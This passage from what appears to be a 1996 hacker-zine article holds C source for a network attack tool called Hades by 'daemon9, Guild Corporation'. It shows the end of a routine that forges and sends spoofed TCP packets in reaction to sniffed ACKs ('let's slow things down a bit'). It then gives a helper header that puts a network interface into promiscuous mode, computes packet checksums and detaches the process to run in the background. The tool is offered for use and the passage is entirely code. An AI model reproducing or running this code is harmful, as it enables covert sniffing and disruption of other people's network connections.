  775.         pheader.tcp_length=htons(TCPHDR);
  776.         
  777.                  /* IP header checksum */
  778.         
  779.           tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
  780.                 
  781.             /* TCP header checksum */
  782.                                 
  783.         bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
  784.            tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
  785.  
  786.     sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  787. #ifndef QUIET
  788.     dump(iphp,tcphp);
  789. #endif
  790. }
  791.  
  792. /* 
  793.  *    Dumps some info...
  794.  */
  795.  
  796. void dump(iphp,tcphp)
  797. struct iphdr *iphp;
  798. struct tcphdr *tcphp;
  799. {
  800.     fprintf(stdout,"Hmm... I smell an ACK: ");
  801.        fprintf(stdout,"%s [%d] --> %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest)); 
  802.     fprintf(stdout,"let's slow things down a bit\n");
  803. }
  804.  
  805.  
  806. -------------------------------8<-------cut-me-loose--------------------------
  807.  
  808.  
  809. /*
  810.         Basic Linux Networking Header Information. v1.0
  811.  
  812.               c. daemon9, Guild Corporation 1996
  813.  
  814. Includes:
  815.  
  816.     tap
  817.     in_cksum
  818.     nameResolve
  819.     hostLookup    
  820.     shadow
  821.     reaper
  822.  
  823.     This is beta.  Expect it to expand greatly the next time around ...
  824.     Sources from all over the map.
  825.  
  826.         code from:
  827.             route
  828.             halflife
  829. */
  830.  
  831. #include <string.h>
  832. #include <signal.h>
  833. #include <stdio.h>
  834. #include <unistd.h>
  835. #include <fcntl.h>
  836. #include <syslog.h>
  837. #include <sys/types.h>
  838. #include <sys/socket.h>
  839. #include <sys/wait.h>
  840. #include <sys/ioctl.h>
  841. #include <sys/stat.h>
  842. #include <sys/time.h>
  843. #include <netinet/in.h>
  844. #include <arpa/inet.h>
  845. #include <netdb.h>
  846. #include <arpa/inet.h>
  847. #include <linux/socket.h>
  848. #include <linux/ip.h>
  849. #include <linux/tcp.h>
  850. #include <linux/if_ether.h>
  851. #include <linux/if.h>
  852.  
  853. #define DEVICE         "eth0"
  854. #define BUFSIZE     256
  855. #define ETHHDR         14
  856. #define TCPHDR         20
  857. #define IPHDR          20
  858. #define ICMPHDR     8
  859.  
  860.  
  861. /*
  862.  *      IP address into network byte order
  863.  */
  864.                  
  865. unsigned nameResolve(char *hostname){
  866.         
  867.         struct in_addr addr;
  868.         struct hostent *hostEnt; 
  869.    
  870.         if((addr.s_addr=inet_addr(hostname))==-1){
  871.                 if(!(hostEnt=gethostbyname(hostname))){
  872.                         fprintf(stderr,"Name lookup failure: `%s`\n",hostname);
  873.                         exit(0);
  874.                 }
  875.                 bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  876.         }
  877.         return addr.s_addr;
  878. }
  879.  
  880. /*
  881.  *      IP Family checksum routine
  882.  */
  883.  
  884. unsigned short in_cksum(unsigned short *ptr,int nbytes){
  885.                         
  886.         register long           sum;            /* assumes long == 32 bits */
  887.         u_short                 oddbyte;
  888.         register u_short        answer;         /* assumes u_short == 16 bits */
  889.                         
  890.         /*
  891.          * Our algorithm is simple, using a 32-bit accumulator (sum),
  892.          * we add sequential 16-bit words to it, and at the end, fold back 
  893.          * all the carry bits from the top 16 bits into the lower 16 bits. 
  894.          */
  895.         
  896.         sum = 0;
  897.         while (nbytes > 1)  {
  898.                 sum += *ptr++;
  899.                 nbytes -= 2;    
  900.         }
  901.                         
  902.                                 /* mop up an odd byte, if necessary */
  903.         if (nbytes == 1) {
  904.                 oddbyte = 0;            /* make sure top half is zero */
  905.                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
  906.                 sum += oddbyte;
  907.         }               
  908.   
  909.         /*
  910.          * Add back carry outs from top 16 bits to low 16 bits.
  911.          */
  912.          
  913.         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  914.         sum += (sum >> 16);                     /* add carry */
  915.         answer = ~sum;          /* ones-complement, then truncate to 16 bits */
  916.         return(answer);
  917. }
  918.  
  919.  
  920. /*
  921.  *    Creates a low level raw-packet socket and puts the device into promiscuous mode.
  922.  */
  923.  
  924. int tap(device)
  925. char *device;
  926. {
  927.     
  928.     int fd;                /* File descriptor */
  929.        struct ifreq ifr;        /* Link-layer interface request structure */
  930.                     /* Ethernet code for IP 0x800==ETH_P_IP */
  931.        if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){    /* Linux's way of */ 
  932.               perror("SOCK_PACKET allocation problems");    /* getting link-layer */
  933.               exit(1);                    /* packets */
  934.        }
  935.     strcpy(ifr.ifr_name,device);                
  936.        if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){            /* Get the device info */
  937.               perror("Can't get device flags");
  938.               close(fd);
  939.               exit(1);
  940.        }
  941.        ifr.ifr_flags|=IFF_PROMISC;                /* Set promiscuous mode */
  942.        if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){            /* Set flags */
  943.         perror("Can't set promiscuous mode");
  944.            close(fd);
  945.         exit(1);
  946.     }
  947.     return(fd);
  948. }
  949.  
  950. /*
  951.  *    Network byte order into IP address
  952.  */
  953.  
  954. char *hostLookup(in)
  955. unsigned long in;
  956. {
  957.  
  958.        char hostname[BUFSIZE];
  959.        struct in_addr addr;
  960.        struct hostent *hostEnt;
  961.    
  962.     bzero(&hostname,sizeof(hostname));
  963.     addr.s_addr=in;
  964.        hostEnt=gethostbyaddr((char *)&addr, sizeof(struct in_addr),AF_INET);
  965.        if(!hostEnt)strcpy(hostname,inet_ntoa(addr));
  966.        else strcpy(hostname,hostEnt->h_name);
  967.        return(strdup(hostname));
  968. }
  969.  
  970. /*
  971.  *      Simple daemonizing procedure.
  972.  */   
  973.  
  974. void shadow(void){
  975.  
  976.         int fd,fs;
  977.         extern int errno;
  978.          char werd[]={"\n\n\n\nHades is a Guild Corporation Production.  c.1996\n\n"}; 
  979.  
  980.         signal(SIGTTOU,SIG_IGN);        /* Ignore these signals */
  981.         signal(SIGTTIN,SIG_IGN);
  982.         signal(SIGTSTP,SIG_IGN);
  983.     printf(werd);
  984.  
  985.         switch(fork()){
  986.                case 0:                 /* Child */
  987.                         break;
  988.                 default:        
  989.                         exit(0);        /* Parent */
  990.                 case -1:
  991.                         fprintf(stderr,"Forking Error\n");
  992.                         exit(1);
  993.         }
  994.         setpgrp();
  995.         if((fd=open("/dev/tty",O_RDWR))>=0){
  996.                 ioctl(fd,TIOCNOTTY,(char *)NULL);
  997.                 close(fd);
  998.         }
  999.         /*for(fd=0;fd<NOFILE;fd++)close(fd);*/
  1000.         errno=0;
  1001.         chdir("/");
  1002.         umask(0);
  1003. }
  1004.  
  1005. /*
  1006.  *      Keeps processes from zombiing on us...
  1007.  */
  1008.         
  1009. static void reaper(signo)
  1010. int signo;
  1011. {
  1012.         pid_t pid;
  1013.         int sys;
  1014.  
  1015.         pid=wait(&sys); 
  1016.         signal(SIGCHLD,reaper);
  1017.         return;
  1018. }
  1019.  
  1020.  
  1021. -------------------------------8<-------cut-me-loose--------------------------
  1022.  
  1023. EOF
  1024.  
  1025.